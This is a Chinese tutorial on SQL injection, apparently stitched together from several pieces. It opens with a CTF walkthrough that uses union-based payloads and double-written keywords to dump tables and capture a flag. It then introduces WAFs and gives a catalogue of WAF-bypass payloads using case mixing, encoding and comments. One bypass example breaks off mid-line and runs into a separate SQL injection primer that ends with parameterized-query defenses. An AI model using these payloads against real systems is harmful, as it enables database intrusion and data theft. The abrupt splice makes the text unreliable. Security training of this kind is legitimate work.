由此可知数据库为geek, 版本为10.3.18-MariaDB, 接下来爆表
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()#
得到表名geekuser,l0ve1ysq1, 接下来爆字段(列)
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
'b4bsql,geekuser
1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'#
可知有三个字段(列名) , 分别是 id, username ,password' 接下来就是爆数据
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql#
得到flag
flag3db85812-e6b1-4b18-be8c-a9ad33ab7001
7. WAF简介
1.WAF介绍
WAF(Web Application Firewall)的中文名称叫做“Web应用防火墙”,利用国际上公认的一种说法,WAF的定义是这样的:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。通过从上面对WAF的定义中,我们可以很清晰的了解到,WAF是一种工作在应用层的、通过特定的安全策略来专门为Web应用提供安全防护的产品。
2.waf分类
根据不同的分类方法,WAF可分为许多种。从产品形态上来划分,WAF主要分为以下三大类
1.硬件设备类
目前安全市场上,大多数的WAF都属于此类。它们以一个独立的硬件设备的形态存在,支持以多种方式(如透明桥接模式、旁路模式、反向代理等)部署到网络中为后端的Web应用提供安全防护。相对于软件产品类的WAF,这类产品的优点是性能好、功能全面、支持多种模式部署等,但它的价格通常比较贵。国内的绿盟、安恒、启明星辰等厂商生产的WAF都属于此类。
2.软件产品类
这种类型的WAF采用纯软件的方式实现,特点是安装简单,容易使用,成本低。但它的缺点也是显而易见的,因为它必须安装在Web应用服务器上,除了性能受到限制外,还可能会存在兼容性、安全等问题。这类WAF的代表有ModSecurity、Naxsi、网站安全狗等。
3.基于云的WAF
随着云计算技术的快速发展,使得其于云的WAF实现成为可能。国内创新工场旗下的安全宝、360的网站宝是这类WAF的典型代表。它的优点是快速部署、零维护、成本低。对于中、小型的企业和个人站长是很有吸引力的。
3.WAF的常见特征
之所以要谈到WAF的常见特征,是为了更好的了解WAF的运行机制,这样就能增加几分绕过的机会了。
总体来说,WAF(Web Application Firewall)的具有以下四个方面的功能:
-
审计设备:用来截获所有HTTP数据或者仅仅满足某些规则的会话
-
访问控制设备:用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式
-
架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。
-
WEB应用加固工具:这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且能够保护WEB应用编程错误导致的安全隐患。
4.WAF的常见特点:
异常检测协议:拒绝不符合HTTP标准的请求
增强的输入验证:代理和服务端的验证,而不只是限于客户端验证
白名单&黑名单:白名单适用于稳定的We应用,黑名单适合处理已知问题
基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活
状态管理:重点进行会话保护
另还有:Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等
如果是对于扫描器,WAF有其识别之道:
扫描器识别主要由以下几点:
-
扫描器指纹(head字段/请求参数值),以awvs为例,会有很明显的Acunetix在内的标识
-
单IP+ cookie某时间段内触发规则次数
-
隐藏的链接标签等()
-
Cookie植入
-
验证码验证,扫描器无法自动填充验证码
-
单IP请求时间段内Webserver返回http状态404比例, 扫描器探测敏感目录基于字典,找不到文件则返回404
8.绕过WAF的方法
1.大小写混合
大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术
举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理
2.替换关键字
这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过
举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此抱太大期望
3.使用编码
1.URL编码
在Chrome中输入一个连接,非保留字的字符浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29
普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:
page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
2.十六进制编码
举例:z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点
3.Unicode编码
Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了
看一下常用的几个符号的一些Unicode编码:
单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
举例:?id=10%D6‘%20AND%201=2%23
SELECT 'Ä'='A'; #1
两个示例中,前者利用双字节绕过,比如对单引号转义操作变成’,那么就变成了%D6%5C’,%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用
第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过
另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下
常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子
4.使用注释
看一下常见的用于注释的符号有哪些://, – , /**/, #, --+,-- -, ;,–a
1.普通注释
举例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
/**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、–+用于终结语句的查询
2.内联注释
相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别
举例:index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用
5.等价函数与命令
有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用
1.函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1sql注入详解
什么是SQL注入?
SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
常见的sql注入有哪些?
1. or 1=1 造成无密码登陆
2.order by 1 或者2,3 order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次 类推。我们可以通过二分法来猜解列数
3. UNION
①获取数据库名和表明
使用这条命令我们可以爆出服务端MYSQL当前的用户名,当前的数据库名,可以利用数据库名进一步获取表名。(因为UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。所以Union前面的查询我们用1=2给取消掉)
SELECT * FROM `employees_copy` WHERE emp_no!=12 AND 1=2 UNION SELECT USER(),DATABASE()
②然后我们可以继续获取表名
SELECT * FROM `employees_copy` WHERE emp_no!=12 AND 1=2 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE table_schema=DATABASE()
③然后继续获取列名
SELECT * FROM `employees_copy` WHERE emp_no!=12 AND 1=2 UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_name=‘employees_copy‘
④查询所有数据
SELECT * FROM `employees_copy` WHERE emp_no!=12 AND 1=2
UNION SELECT GROUP_CONCAT(emp_no,0x20,first_name),2 FROM employees_copy
如何防止SQL注入攻击?
1.不要使用动态SQL 使用参数化sql语句 使用到了 在ADO.NET对象模型中执行一个参数化查询,需要向SqlCommand对象的Parameters
string sqlStr="select * from [Users] where UserName=@UserName and Password=@Password"
然后创建命令对象的代码时,修改为:
SqlCommand cmd = new SqlCommand(sqlStr,conn);
cmd.Parameters.AddWithValue("@UserName",txtUserName.Text.Trim());
cmd.Parameters.AddWithValue("@Password",txtUserPassword.Text.Trim());
2.制数据库权限和特权
3.避免直接向用户显示数据库错误
以上是关于SQL注入详解的主要内容,如果未能解决你的问题,请参考以下文章
程序员常用的3大Web安全漏洞防御解决方案:XSSCSRF及SQL注入(图文详解)